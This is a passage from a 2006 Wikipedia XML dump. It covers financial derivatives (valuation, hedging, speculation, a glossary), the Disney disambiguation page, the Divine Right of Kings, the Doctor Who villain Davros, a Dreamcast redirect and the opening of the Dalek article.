*[[Energy derivative]] that payoff according to a wide variety of indexed energy prices.  Usually classified as either physical or financial, where physical means the contract includes actual delivery of the underlying energy commodity (oil, gas, power, etc)
*[[Freight derivative]]
*[[Insurance derivative]]
*[[Weather derivatives]]

==Cash flow==
The payments between the parties may be determined by:
* the price of some other, independently traded asset in the future (e.g., a [[common stock]]);
* the level of an independently determined index (e.g., a stock market index or heating-degree-days);
* the occurrence of some well-specified event (e.g., a company [[defaulting]]);
* an [[interest rate]];
* an [[exchange rate]];
* or some other factor.

Some derivatives are the right to buy or sell the underlying security or commodity at some point in the future for a predetermined price. If the price of the underlying security or commodity moves into the right direction, the owner of the derivative makes money; otherwise, they lose money or the derivative becomes worthless. Depending on the terms of the contract, the potential gain or loss on a derivative can be much higher than if they had traded the underlying security or commodity directly.

==Valuation==
===Market price and fair value===
Two common measures of value are:

*[[Market price]], ie. the price at which traders are willing to buy or sell the contract
*[[Fair value]] or the theoretical price, ie. a rational and unbiased estimate of the contract's fundamental value

===Determining the market price===
For exchange traded derivatives, market price is usually transparent (often published in real-time by the exchange, based on all the current bids and offers placed on that particular contract at any one time).

Complications can arise with OTC or floor-traded contracts though, as trading is handled manually, making it difficult to automatically broadcast prices. In particular with OTC contracts, there is no central exchange to collate and disseminate prices.

===Determining fair value===
The fair value of a derivatives contract is often complex, partly because of the immense variation in contracts, and partly because there are often many different variables to consider.

Fair valuation of derivatives is a central topic of [[financial mathematics]]. Where &quot;fair&quot; refers to the absence of [[arbitrage]],
meaning that no riskless profits can be made by trading in assets. Crucial to the valuation of derivatives is also the [[stochastic]]s of the underlying assets, typically expressed as a [[stochastic process]].

A key equation for the theoretical [[valuation of options]] is the [[Black-Scholes formula]], that made it possible
to replicate a stock [[option]] by a continuous buying and selling strategy
in the plain stock. Other derived equations include the [[Binomial options model]], Kim and Garman-Kohlhagen models.

==Usages==
===Insurance and hedging===
One use of derivatives is as a tool to transfer [[risk]]. For example, farmers can sell [[futures contract]]s on a crop to a speculator before the harvest. The farmer offloads (or [[hedge (finance)|hedges]]) the risk that the price will rise or fall, and the speculator accepts the risk with the possibility of a large reward. The farmer knows for certain the revenue he will get for the crop that he will grow; the speculator will make a profit if the price rises, but also risks making a loss if the price falls.

It is not unknown for farmers to walk away smiling, when they have lost out in the derivatives market, as the result of a hedge.  In this case, they have profited from the real market from the sale of their crops.  Contrary to popular belief, financial markets are not always a [[Zero-sum|zero-sum]] game.  This is an example of a situation where both parties in a financial markets transaction benefit.

Another example is the company [[General Electric]]. This company uses derivatives to &quot;match funding&quot; ([http://www.ge.com/en/company/investor/webcast/webcast_05062005.htm GE webcast on derivatives]) to mitigate interest rate and currency risk, and to lock in material costs. The program is strictly for forecasted and highly anticipated needs, and not a means to generate non-operating revenues. 90% of all derivatives revenue produced by derivatives sellers is for this kind of cost, cash, [[accounts receivable]] and [[accounts payable]] planning. On 2005-06-05 the company restated earnings with as much as $0.05 quarterly EPS (over 10%) in Q3 2003 ([http://www.ge.com/en/company/investor/secreport/ge_10ka_2004.htm Revised 2004 10K (PDF, 787 KB)]).

===Speculation and arbitrage===

Of course, speculators may trade with other speculators as well as with hedgers. In most financial derivatives markets, the value of speculative trading is far higher than the value of true hedge trading. As well as outright speculation, derivatives traders may also look for [[arbitrage]] opportunities between different derivatives on identical or closely related underlying securities.

Other uses of derivatives are to gain an economic exposure to an underlying security in  situations where direct ownership of the underlying is too costly or is prohibited by legal or regulatory restrictions, or to create a synthetic [[Short selling|short]] position.

In addition to directional plays (i.e. simply betting on the direction of the underlying security), speculators can use derivatives to place bets on the [[Volatility|volatility]] of the underlying security.  This technique is commonly used when speculating with traded options.

Speculative trading in derivatives gained a great deal of notoriety in 1995 when [[Nick Leeson]], a trader at [[Barings Bank]], made poor and unauthorized investments in index futures. Through a combination of poor judgment on his part, lack of oversight by management, a naive regulatory environment and unfortunate outside events, Leeson incurred a 1.3 [[billion]] dollar loss that bankrupted the centuries old financial institution.

===Pricing and information sharing===
Futures markets are unusually efficient at gathering and processing information, and are often an extremely accurate predictor of events such as interest rate movements and oil price movements. [[DARPA]] also examined the idea of developing a futures market for world events, the [[Policy Analysis Market]], with the idea of predicting terrorism amongst other things. The idea was halted due to political uproar, as it was pointed out that terrorists could trade on the market and directly profit from their activities.

==Opinions==
Although there have been instances of massive losses, most notably by [[Long-Term Capital Management]], these have not had repercussions. [[Federal Reserve Board]] chairman [[Alan Greenspan]] commented in 2003 that he believed that the use of derivatives has softened the impact of the [[economic downturn]] at the beginning of the 21st century.

Because derivatives offer the possibility of large rewards, many individuals have the strong desire to invest in derivatives. Most financial planners caution against this, pointing out that an investor in derivatives often assumes a great deal of risk, and therefore investments in derivatives must be made with caution, especially for the small investor ([http://news.bbc.co.uk/1/hi/business/2817995.stm]). One should keep in mind that one purpose of derivatives is as a form of [[insurance]], to move risk from someone who cannot afford a major loss to someone who could absorb the loss, or is able to hedge against the risk by buying some other derivative.

[[Economist]]s generally believe that derivatives have a positive impact on the [[economic system]] by allowing the buying and selling of risk. However, many economists are worried that derivatives may cause an economic crisis at some point in the future. Since someone loses money while someone else gains money with a derivative, under normal circumstances, trading in derivatives should not adversely affect the economic system.

There is the danger, however, that someone would lose so much money that they would be unable to pay for their losses. This might cause chain reactions which could create an economic crisis. In 2002, legendary investor [[Warren Buffett]] commented in an interview with the ''[[New York Times]]'' that he had accumulated his wealth without the use of derivatives and that he regarded them as 'financial weapons of mass destruction', an allusion to the phrase '[[weapons of mass destruction]]' relating to physical weapons which had wide currency at the time.

==Glossary==
''From: [http://www.occ.treas.gov/deriv/deriv.htm Quarterly Derivatives Fact Sheet]''

*[[Bilateral Netting]]: A legally enforceable arrangement between a bank and a counterparty that creates a single legal obligation covering all included individual contracts. This means that a bank&amp;#8217;s obligation, in the event of the default or insolvency of one of the parties, would be the net sum of all positive and negative fair values of contracts included in the bilateral netting arrangement.

*[[Credit derivative]]: A contract which transfers [[credit risk]] from a protection buyer to a credit protection seller. Credit derivative products can take many forms, such as credit default options, credit limited notes and total return swaps.

*'''Derivative''': A financial contract whose value is derived from the performance of assets, interest rates, currency exchange rates, or indexes. Derivative transactions include a wide assortment of financial contracts including structured debt obligations and deposits, swaps, futures, options, caps, floors, collars, forwards and various combinations thereof.

*[[Exchange-traded derivative contracts]]: Standardized derivative contracts (e.g. [[futures contract]]s and [[options]]) that are transacted on an organized futures exchange.

*[[Gross negative fair value]]: The sum of the fair values of contracts where the bank owes money to its counterparties, without taking into account netting. This represents the maximum losses the bank&amp;#8217;s counterparties would incur if the bank defaults and there is no netting of contracts, and no bank collateral was held by the counterparties.

*[[Gross positive fair value]]: The sum total of the fair values of contracts where the bank is owed money by its counterparties, without taking into account netting. This represents the maximum losses a bank could incur if all its counterparties default and there is no netting of contracts, and the bank holds no counterparty collateral.

*[[High-risk mortgage security|High-risk mortgage securities]]: Securities where the price or expected average life is highly sensitive to interest rate changes, as determined by the [[FFIEC]] policy statement on high-risk mortgage securities.

*[[Notional amount]]: The nominal or [[face amount]] that is used to calculate payments made on swaps and other risk management products. This amount generally does not change hands and is thus referred to as notional.

*'''[[over-the-counter (finance)|Over-the-counter]] derivative contracts''' : Privately negotiated derivative contracts that are transacted off organized futures exchanges.

*[[Structured notes]]: Non-mortgage-backed [[debt securities]], whose cash flow characteristics depend on one or more indices and/or have embedded forwards or options.

*[[Total risk-based capital]]: The sum of [[tier 1]] plus [[tier 2]] capital. Tier 1 capital consists of [[common shareholders equity]], [[perpetual preferred shareholders equity]] with [[noncumulative dividends]], [[retained earnings]], and [[minority interest]]s in the equity accounts of [[consolidated subsidiaries]]. Tier 2 capital consists of [[subordinated (debt)|subordinated debt]], intermediate-term [[preferred stock]], cumulative and long-term preferred stock, and a portion of a bank&amp;#8217;s [[allowance for loan and lease losses]].

==See also==
*[[Derivatives market]]s
*[[Financial engineering]]
*[[Financial mathematics]]
*[[Herfindahl index]]
*[[Leverage (finance)|Financial Leverage]]

===Associations===
*[[International Swaps and Derivatives Association]]

===Lists===
*[[List of finance topics]]

==Footnote==
*{{mnb|afgh|1}}'''BIS survey''': The [[Bank for International Settlements]], in their semi-annual [http://www.bis.org/publ/otc_hy0505.htm OTC derivatives market activity] report from May 2005 that, at the end of December 2004, the total notional amounts outstanding of OTC derivatives was $248 trillion with a [[gross market value]] of $9.1 trillion. ''See also [http://www.bis.org/press/p050520.htm OTC derivatives markets activity in the second half of 2004]''.)
*{{mnb|foweek|2}}'''Futures and Options Week''': According to figures published in F&amp;O Week [[10 October]] [[2005]]. See also [http://www.fow.com FOW Website].

==External links==
===Associations===
*[http://www.futuresindustry.org/ FIA: Futures Industry Association]
*[http://www.isda.org/ ISDA: Website of International Swaps and Derivatives Association]
*[http://www.occ.treas.gov/ OCC - Comptroller of the Currency, Administrator of National Banks]
*[http://www.bis.org/ Bank for International Settlements]

===Risk===
*[http://www.quantnotes.com/fundamentals/ Quantnotes.com] - introductory articles covering mathematical finance
*[http://www.riskglossary.com/ Riskglossary.com] - an online glossary, encyclopedia, and resource locator
*[http://www.derivativeone.com  Option Valuation and Calculators], DerivativeOne.com Derivatives Valuation
*[http://www.riskworx.com/res_inst.php Riskworx.com] - discussion of the application and theory of derivatives

===Software===
* [http://www.orcsoftware.com Orc Software] - Software for derivatives trading

===Articles===
*[http://news.bbc.co.uk/1/hi/business/2817995.stm BBC NEWS | Business | Buffett warns on investment 'time bomb']
*[http://www.fenews.com/fen41/teach_notes/teaching-notes.html A Brief History of Derivatives]

===Forums===

*[http://www.wilmott.com wilmott.com] - Popular forum for practitioners, researchers and students in quantitative finance. Also research articles and jobs.

*[http://www.deriboard.com DeriBoard.com] - Discussion board for specialists, researchers and students of financial derivatives.

*[http://www.derivativesportal.org derivativesportal.org] - The portal has a forum and lists all relevant studies and papers written about financial derivatives and risk management and is funded by the IMC Foundation for derivatves, a not for profit organisation promoting the knowledge of derivatives in the academic world and financial industry.
[[Category:Derivatives| ]]

[[de:Derivat (Wirtschaft)]]
[[fr:Dérivé]]
[[nl:Afgeleide producten]]
[[ru:Производный финансовый инструмент]]</text>
    </revision>
  </page>
  <page>
    <title>Disney</title>
    <id>9136</id>
    <revision>
      <id>41333125</id>
      <timestamp>2006-02-26T17:32:31Z</timestamp>
      <contributor>
        <username>Good vs. Bad</username>
        <id>993504</id>
      </contributor>
      <text xml:space="preserve">'''Disney''' may refer to:
*[[The Walt Disney Company]] and its divisions
**[[Walt Disney Pictures]]
**[[Walt Disney Feature Animation]]
**[[The Disney Channel]]
**[[Walt Disney Theatrical]]
**[[Walt Disney Television]]
**[[Walt Disney Television Animation]]

The '''Disney family''':
*The [[Disney family]], family members of the Disney empire:
* [[Walt Disney]], co-founder of The Walt Disney Company.
* [[Roy Oliver Disney]], Walt's brother and co-founder of The Walt Disney Company
*[[Roy Edward Disney]], son of Roy Oliver and leader of the Save Disney campaign
*[[Lillian Disney]], Walt's wife.
*[[Elias Disney]], Walt's father.

'''Locations''':
*[[Disney, Oklahoma]].
*Disney Street, a street in [[London]].

{{disambig}}

[[es:Disney]]
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  <page>
    <title>Divine Right of Kings</title>
    <id>9137</id>
    <revision>
      <id>41640312</id>
      <timestamp>2006-02-28T18:52:35Z</timestamp>
      <contributor>
        <ip>84.168.151.235</ip>
      </contributor>
      <comment>Added link to german article</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''For other uses of this term, see [[{{PAGENAME}} (disambiguation)]].''&lt;/span&gt;
The '''Divine Right of Kings''' is a [[Europe]]an [[politics|political]] and [[religion|religious]] doctrine of [[political absolutism]]. Such doctrines are largely, though not exclusively, associated with the [[mediæval]] and ''[[ancien régime]]'' eras. It states that a [[monarch]] owed his rule to the will of [[God]], not to the will of his subjects, [[parliament]], the [[aristocrat|aristocracy]] or any other competing authority. This doctrine continued with the claim that any attempt to depose a monarch or to restrict his powers ran contrary to the will of God. 

Its symbolism remains in the [[Coronation of the British monarch|coronation]]s of the British monarchs, in which they are [[anointed]] with [[Holy oil]]s by the [[Archbishop of Canterbury]], thereby [[Holy Orders|''ordaining'']] them to monarchy. It is further evidenced by efforts to trace the genealogy of European monarchs to King [[David]] of the [[Old Testament]], in the apparent belief that it legitimizes the rule of the present monarch (c.f. http://www.kingdavid.org/genealogy.html). The king or queen of the [[United Kingdom]] is the last monarch still to undergo such a ceremony, which in other countries has been replaced by an [[inauguration]] or other [[declaration]].   It is the reason why the [[British Royal Family]]'s [[motto]] is ''[[Dieu Et Mon Droit]]'' (God and my [birth] Right - i.e. I rule with God's blessing).

==The concept==
The concept of Divine Right of Kings is only one manifestation of a much broader concept of &quot;royal God-given rights&quot;, which simply says that &quot;the right to rule is anointed by God (or gods)&quot; which is found in other cultures. This concept was also found in the [[Aryan]] and [[Egyptian]] traditions.  Unlike the Chinese concept of the [[Mandate of Heaven]] which legitimized the overthrow of an oppressive or incompetent monarch, a European king could not lose the Divine Right by misrule, at least according to most authors. [[Thomas Aquinas]] accepted the overthrow of a king and even [[regicide]] when the laws of the king are untenably unjust, however, and towards the end of the Middle Ages many philosophers such as [[Nicholas of Cusa]] and [[Francisco Suárez|Francisco Suarez]] propounded similar theories.  In addition, the concept of [[Mandate of Heaven]] required that the emperor properly carry out the proper [[ritual]]s, consult his ministers, and made it extremely difficult to undo any acts carried out by an ancestor.

Japanese imperial theory based the legitimacy of the [[Emperor of Japan]] on his descent from [[Amaterasu]], however unlike the European case, this divinity did not usually translate into political power, unless the Emperor had (as [[Emperor Meiji]] did) the military might to back up his claim.

In the western world it came to be associated with [[Catholic|Roman Catholicism]] and other Christian faiths in the [[Reformation]] period. The notion of divine right of kings was certainly in existence in the [[Middle Ages|medieval period]]. However it was in the early modern era, under the ''[[ancien régime]]'', that the notion became extensively used as a primarily political mechanism, i.e. for increasing the power of kings within centralized monarchies relative to their nobles and subjects. It was given its most comprehensive formulations by the [[France|French]] [[bishop]] [[Jacques-Bénigne Bossuet|Bossuet]] and King [[James I of England]], but it owes much to the earlier writings of [[Augustine of Hippo]] and [[Paul of Tarsus]].

In the ''[[Epistle to the Romans]]'', chapter 13, Paul wrote that earthly rulers, even though they may not be Christians, have been appointed by God to their places of power for the purpose of punishing evildoers.  Some Biblical scholars believe that Paul was writing, in part, to reassure the Roman authorities who ruled his world that the Christian movement was not [[subversion (political)|subversive]].  The difficulty posed for later [[Christianity|Christians]] is that the [[New Testament]] contained no explicit plan for the government of a mostly Christian society.  It assumed that Christians would always be a minority in a pagan world, and its political counsel was limited mostly to advising members to obey the law and stay out of the way of pagan government.

[[Augustine of Hippo]] modified these emphases in his work ''[[The City of God|De Civitate Dei]]'' for the purpose of a newly converted [[Roman Empire]] that was in serious political and military turmoil.  While the City of Man and the City of God may stand at cross-purposes, both of them have been instituted by [[God]] and served His ultimate will.  Even though the City of Man &amp;ndash; the world of secular government &amp;ndash; may seem ungodly and be governed by sinners, even so, it has been placed on Earth for the protection of the City of God.  Therefore, [[monarch]]s have been placed on their [[throne]]s for God's purpose, and to question their authority is to question God.

During the early reign of [[Louis XIV of France]], [[Jacques-Bénigne Bossuet]] took this argument to its furthest conclusion.  Reviewing [[Old Testament]] precedents concerning the selection of kings, Bossuet concluded that kings were God's anointed representatives on earth.  Each of them has been given his throne by God Himself, and to rebel against their authority is to rebel against God.  No parliament, nobleman, nor the common people had a right to participate in that God-given authority, since it was conferred by [[divine providence]] through the right of [[primogeniture]].  

Bossuet wrote not to justify the authority of an already autocratic monarchy, but to shore it up against further incidents of turmoil that had shaken the French throne, such as the series of [[Fronde]]s, in which French noblemen had fought petty [[civil war]]s against the authority of [[Louis XIII of France|Louis XIII]], and against Louis XIV himself.  Bossuet's teaching ultimately proved to be the cause of much turmoil and bloodshed in France; the notion of divine right was finally overthrown in the [[French Revolution]].

==Stuarts==

{{cleanup-date|December 2005}}

When the early Stuarts ruled England they tried to force their view of the divine rights of kings upon the English parliament, however since the Saxons, the English monarch was monarch because the people wanted them so, not because of any divine right and many kings had to be elected in parliament, the kings court, privy council or otherwise before they could rule.

These arguments are exemplified and taken further still in the following passages from Chapter 20 of [[James I of England|James I]]'s ''Works'':

:&quot;The state of monarchy is the supremest thing upon earth; for kings are not only God's lieutenants upon earth, and sit upon God's throne, but even by God himself are called gods. There be three principal similitudes that illustrate the state of monarchy: one taken out of the word of God; and the two other out of the grounds of policy and philosophy. In the Scriptures kings are called gods, and so their power after a certain relation compared to the divine power. Kings are also compared to fathers of families: for a king is truly ''[[List of Latin phrases|Parens patriæ]]'', the politique father of his people. And lastly, kings are compared to the head of this [[microcosm]] of the body of man.

:&quot;Kings are justly called gods, for that they exercise a manner or resemblance of divine power upon earth: for if you will consider the attributes to God, you shall see how they agree in the person of a king. God hath power to create or destroy, make or unmake, at his pleasure, to give life or send death, to judge all and to be judged nor accountable to none; to raise low things and to make high things low at his pleasure, and to God are both souls and body due. And the like power have kings: they make and unmake their subjects, they have power of raising and casting down, of life and of death, judges over all their subjects and in all causes and yet accountable to none but God only. 

:&quot;I conclude then this point touching the power of kings with this axiom of divinity, That as to dispute what God may do is blasphemy, so is it sedition in subjects to dispute what a king may do in the height of his power. But just kings will ever be willing to declare what they will do, if they will not incur the curse of God. I will not be content that my power be disputed upon; but I shall ever be willing to make the reason appear of all my doings, and rule my actions according to my laws.&quot;

James's subjects were not willing to submit to these assertions.  A contrary doctrine arose, formulated by judges such as Sir [[Edward Coke]], that the King of England was the creation of the law of England, and subject to that law.  This doctrine found adherents in Parliament, spurred on by anti-monarchical precedents such as the nobles' revolt that led to [[Magna Carta]] in 1215.  

This conflict ultimately came to a head in the [[English Civil War]], which was won by the forces representing Parliament and led to the [[regicide]] of [[Charles I of England|Charles I]] in January [[1649]]. The Parliamentary victory, despite the [[English Restoration|Restoration]] of [[1660]], was followed up by the [[Glorious Revolution]] of [[1688]], drove from power advocates of the divine right of kings in England, and firmly established in power advocates of the principle of [[constitutional monarchy]] where the ultimate authority was Parliament, not the monarch.

==See also==
*[[Separation of church and state (medieval)]]
*[[Sovereignty]]

[[Category:Christian law]]
[[Category:Monarchy]]
[[Category:Religion in the United Kingdom]]
[[Category:Rights]]
[[Category:Political philosophy]]


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[[ja:王権神授説]]
[[pt:Direito divino dos reis]]
[[sv:Kungadömet av Guds nåde]]
[[zh:君權神授說]]</text>
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  </page>
  <page>
    <title>Davros</title>
    <id>9138</id>
    <revision>
      <id>41096921</id>
      <timestamp>2006-02-25T00:51:31Z</timestamp>
      <contributor>
        <username>Khaosworks</username>
        <id>60133</id>
      </contributor>
      <minor />
      <comment>/* Other appearances */ punctuation</comment>
      <text xml:space="preserve">{{Doctorwhocharacter|
image= [[Image:davros.jpg|200px]] &lt;br/&gt; &lt;small&gt;David Gooderson as Davros|
name=Davros|
affiliation=[[Dalek]]s|
race=[[Kaled]]|
planet=[[Skaro]]|
era=Unspecified|
start= [[Genesis of the Daleks]]|
finish= [[Remembrance of the Daleks]]|
portrayed= [[Michael Wisher]]&lt;br/&gt;[[David Gooderson]]&lt;br/&gt;[[Terry Molloy]]
}}
'''Davros''' is a character from the long-running [[United Kingdom|British]] [[science fiction on television|science fiction television]] series ''[[Doctor Who]]'', responsible for the genesis of the Doctor's deadliest enemies, the [[Dalek]]s.  He was created by [[Terry Nation]].

==Character==
Davros is a [[scientist]] from the planet [[Skaro]] whose people, the [[Kaleds]], were engaged in a bitter thousand-year war of attrition with their enemies, the [[Thal (Doctor Who)|Thals]].  Horribly scarred and crippled after what is simply described on screen as an &quot;accident&quot;, with only one functioning arm and one cybernetic &quot;eye&quot; mounted on his forehead, for much of his existence he depended completely upon his mobile life-support chair which enclosed the lower half of his body. It would become an obvious inspiration for his eventual design of the Dalek.

Davros is a [[megalomania]]c &amp;mdash; he believed that through his creations, the Daleks, he would become the supreme being and ruler of the universe. He is a brilliant scientist who has demonstrated mastery of [[robotics]], [[metallurgy]], [[chemistry]], [[artificial intelligence]], [[cloning]], [[genetic engineering]], [[biology]] and [[military tactic]]s. 

==Appearances==
{{spoiler}}
===Original series===
When he first encountered the [[Fourth Doctor]] in the 1975 serial ''[[Genesis of the Daleks]]'', Davros (played by [[Michael Wisher]]) was the chief scientist of the Kaleds, heading the Scientific Division. He had already survived six assassination attempts. Davros realised that contamination from the [[nuclear weapon|nuclear]] and [[biological weapon|biological]] weapons used in the war were mutating the Kaled race, and artificially accelerated the process to examine the ultimate evolutionary end product. The mutations were weak and crippled, no more than brains with tentacular appendages and with no hope of survival on their own. His solution was to remove all emotions pertaining to weakness, such as compassion, mercy and kindness, and place the mutants in tank-like &quot;travel machines&quot; that were partly based on the design of his wheelchair. He named these creatures Daleks, an [[anagram]] of Kaled. 

Davros quickly became obsessed with his creations, considering them to be the ultimate form of life and superior to all others. To stop his own people from shutting down his Dalek project, he arranged for them to be wiped out by the Thals. The Daleks then exterminated the Thal victors, but ultimately turned on Davros and apparently killed him.

He proved too effective a character to be kept dead and was resurrected four years later in 1979's ''[[Destiny of the Daleks]]'' (played by [[David Gooderson]] using Wisher's mask, which was too large for his face).  The Daleks unearthed their creator -- who had apparently been in [[suspended animation]] since his &quot;death&quot; in ''Genesis'' -- to help them break a [[logic|logical]] empasse in their war against the [[android]] [[Movellans]].  However the Dalek force was destroyed by the Doctor, and Davros was captured and imprisoned by the Earth Empire.

[[Image:MolloyDavros.jpg|thumb|left|200px|Terry Molloy as Davros]]
In the [[Fifth Doctor]] story ''[[Resurrection of the Daleks]]'' (1983), a small Dalek force aided by human mercenaries liberated Davros (now played by [[Terry Molloy]]) from his prison ship, needing his expertise to find an antidote for a Movellan-created virus that had all but wiped them out.  Believing his creations to be treacherous, Davros began using mind-control on Daleks and humans, ultimately releasing the virus to kill off the Daleks before they could exterminate him.  However, at the end of the story, he apparently succumbed to the virus himself before he could escape.

Davros emerged as &quot;The Great Healer&quot; of the funeral and [[cryogenics|cryogenic]] preservation centre Tranquil Repose in the [[Sixth Doctor]] story ''[[Revelation of the Daleks]]'' (1985), where he used frozen bodies to engineer a new variety of Daleks loyal to him, distinguished from the original Daleks by their white and gold livery and slightly changed design.  In this story there appeared to be ''two'' Davroses, one who was a head in a tank (apparently a clone) and the other in a chair (which could now hover), appearing when the clone was killed by an assassin.  Davros could now fire electric bolts from his hand, although this was shot off shortly before his original creations arrived to destroy his second generation of Daleks and transport him to Skaro to face trial.

Davros's last appearance (played by Molloy) was as the [[Dalek variants#Dalek Emperor|Dalek Emperor]] in ''[[Remembrance of the Daleks]]'' (1988), with his white and gold Daleks now termed &quot;[[Dalek variants#Imperial Dalek|Imperial Daleks]]&quot;. By this time Davros, who had apparently conquered Skaro and reduced his original race of Daleks to the status of renegades, was physically reduced to a head in a customised Dalek casing. Both Skaro and the Imperial Dalek mothership were apparently destroyed by the [[Seventh Doctor]] using the [[Time Lord]] artifact known as the [[Hand of Omega]]. However, a Dalek on the bridge of Davros's ship reported that the Emperor's escape pod was being launched at the time of its destruction, leaving a clear route to bring Davros back in the future.

===New series===
In the [[2005]] series, it was revealed that the Daleks and the [[Time Lord]]s had engaged in a mutually destructive Time War, although the Dalek Emperor survived to build a new race of Daleks. When the Emperor made its appearance in the season finale, ''[[The Parting of the Ways]]'', it was a Dalek mutant floating in tank of fluid connected to a giant Dalek shell, and was evidently not Davros. Davros's status at this point, or any role he may have played in the Time War, is unknown. 

An article by [[Russell T. Davies]] in the ''Doctor Who Annual 2006'' states that one of the &quot;Dalek Puppet Emperors&quot; openly declared his hostilities towards the Time Lords and their planet, [[Gallifrey]]. This may be a reference to Davros's threats against the Time Lords in ''Remembrance of the Daleks''.

===Other appearances===
Terry Molloy has reprised his role as Davros in the [[Doctor Who spin-offs|spin-off]] [[radio drama|audio plays]] produced by [[Big Finish Productions]], mostly notably ''[[Davros (Doctor Who audio)|Davros]]'' (taking place during the [[Sixth Doctor]]'s era), which explored the scientist's life prior to his crippling injury, which is attributed to a Thal nuclear attack.  The upcoming Big Finish minseries ''I, Davros'', also starring Molloy, will explore Davros's early life further.

The [[Eighth Doctor]] audio ''[[Terror Firma]]'' picks up Davros's story after the events of ''Remembrance'', and ends with his personality being subsumed completely into that of the Emperor. 

This seemed to contradict the events of the [[Eighth Doctor Adventures]] novel ''War of the Daleks'' by [[John Peel (writer)|John Peel]], where an unmerged Davros was placed on trial by the Dalek Prime, a combination of the Dalek Emperor and the [[Dalek variants#Dalek Supreme|Dalek Supreme]]. The novel also revealed that the planet Antalin had been terraformed to resemble Skaro and destroyed in its place. It was also revealed the Dalek/Movellan war (and indeed most of Dalek history before the destruction of &quot;Skaro&quot;) was actually faked for Davros' benefit. 

''War of the Daleks'', like the audio plays, is of uncertain [[canon (fiction)#Doctor Who)|canonicity]] when it comes to the television series. ''War'' however, was so badly received by some fans that they even disavowed it within the continuity of the novels. Others welcomed ''War'' for having the Daleks reassert their original independence from Davros.

At the conclusion of ''War'', Davros was seemingly disintegrated by a [[Dalek variants#Spider Dalek|Spider Dalek]] on the order of the Dalek Prime. However, Davros had previously subverted the programming of one of the Spider Daleks, and even he was not certain in the end if he was being disintegrated or being [[teleportation|teleported]] away to safety, leaving the possibility open for his return.

How ''Terror Firma'' and ''War'' can be reconciled is not clear, and provides support to the proposition that the novels and the audio plays take place in separate continuities. However, this has not prevented some fans from [http://www.sci-fi-online.50megs.com/newletters/fan05-11-18_Who.htm trying to do so].

==See also==
*[[History of the Daleks]]

==External links==
* [http://www.bbc.co.uk/cult/doctorwho/episodeguide/genesisofdaleks/quote.shtml Some quotes from ''Genesis of the Daleks''.]
* [http://www.bbc.co.uk/doctorwho/classic/episodeguide/dalekhistory1.shtml ''First History of the Daleks'' (and Second).]
* [http://www.doctorwho.co.uk/news/news_060203_idavros.shtml Information on ''I, Davros'' on Big Finish's website]

[[Category:Daleks]]
[[Category:Doctor Who villains]]
[[Category:Fictional aliens]]
[[Category:Fictional cyborgs]]
[[Category:Mad scientists]]</text>
    </revision>
  </page>
  <page>
    <title>DreamCast</title>
    <id>9139</id>
    <revision>
      <id>32731660</id>
      <timestamp>2005-12-26T03:16:58Z</timestamp>
      <contributor>
        <username>ReyBrujo</username>
        <id>139561</id>
      </contributor>
      <comment>Categorized</comment>
      <text xml:space="preserve">#REDIRECT [[Sega Dreamcast]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>Dalek</title>
    <id>9140</id>
    <revision>
      <id>42163871</id>
      <timestamp>2006-03-04T06:10:31Z</timestamp>
      <contributor>
        <username>Sean Black</username>
        <id>294714</id>
      </contributor>
      <minor />
      <comment>Villains category is for characters, not races</comment>
      <text xml:space="preserve">:''For other uses, see [[Dalek (disambiguation)]].''
{{Doctorwhorace|
image=[[Image:Daleknew.jpg|200px]]&lt;br/&gt; &lt;small&gt;A Dalek from the 2005 series|
name=Daleks|
type=Mutants in mechanical shells|
affiliation=[[Dalek Empire]]|
planet=[[Skaro]]|
start=[[The Daleks]]|
}}
The '''Daleks''' (pronounced &quot;DAH-lecks&quot; or &quot;DAH-licks&quot;; [[International Phonetic Alphabet|IPA]]: {{IPA|'d&amp;#593;&amp;#720;l&amp;#603;ks}}) are a [[fiction]]al [[extraterrestrial life in culture|extraterrestrial]] race of [[mutant]]s from the [[United Kingdom|British]] [[science fiction on television|science fiction television]] series ''[[Doctor Who]]''. The mutated descendants of the [[Kaled]] people (referred to in [[The Daleks|the first Dalek serial]] as &quot;Dals&quot;) of the planet [[Skaro]], they travel around in [[tank]]-like mechanical casings, a ruthless race bent on universal conquest and domination, utterly without pity, compassion or remorse. They are also, collectively, the greatest alien adversaries of the [[Time Lord]] known as the [[Doctor (Doctor Who)|Doctor]]. Their most infamous [[catchphrase]] is &quot;EX-TER-MIN-ATE!&quot;, with each syllable individually screeched in a frantic electronic voice ([[Media:Dalek_Exterminate_all_humans.ogg|download sample]]).

The Daleks were created by writer [[Terry Nation]] and [[BBC]] designer [[Raymond Cusick]] and were first introduced in December 1963 in the second ''Doctor Who'' serial. They became an immediate hit with the viewing audience, featuring in many subsequent serials. They have become synonymous with ''Doctor Who'' and their behaviour and catchphrases are part of British [[popular culture]].

The word &quot;Dalek&quot; has entered the ''[[Oxford English Dictionary]]'' and other major dictionaries (the ''[[Collins Dictionary]]'' defines it rather broadly as &quot;any of a set of fictional robot-like creations that are aggressive, mobile, and produce rasping staccato speech&quot;). It is also a [[trademark]], having first been registered by the BBC in 1964 to protect its lucrative range of Dalek merchandise.

The term is sometimes used in a [[metaphor]]ical sense to describe people, usually figures in authority, who act like robots unable to break their programming. [[John Birt]], the controversial ex-[[Director-General of the BBC]], was called a &quot;croak-voiced Dalek&quot; by playwright [[Dennis Potter]] in August 1993. The Daleks even appeared on a postage stamp celebrating British popular culture in 1999, photographed by [[Antony Armstrong-Jones, 1st Earl of Snowdon|Lord Snowdon]].

==Physical characteristics==
[[Image:Dalekattack.jpg|right|thumb|200px|A Dalek mutant attacks a soldier (from ''[[Resurrection of the Daleks]]'').]]
Externally, Daleks resemble man-sized salt or pepper shakers, with a single mechanical eyestalk in a rotating dome, a gunstalk containing a directed energy weapon (or &quot;[[death ray]]&quot;), and a telescoping [[robot]] arm. Usually, the arm is fitted with a device for manipulation that, to the amusement of generations of viewers, resembles a [[plunger]], but various episodes have shown Daleks whose arms end in a tray, a mechanical claw, or other specialised equipment like [[flamethrower]]s. In ''[[Dalek (Doctor Who episode)|Dalek]]'', the manipulator arm, in addition to its technology interfacing abilities, was able to kill a man by crushing his skull. The casings are made of a material that has been called [[Fictional element|dalekanium]].

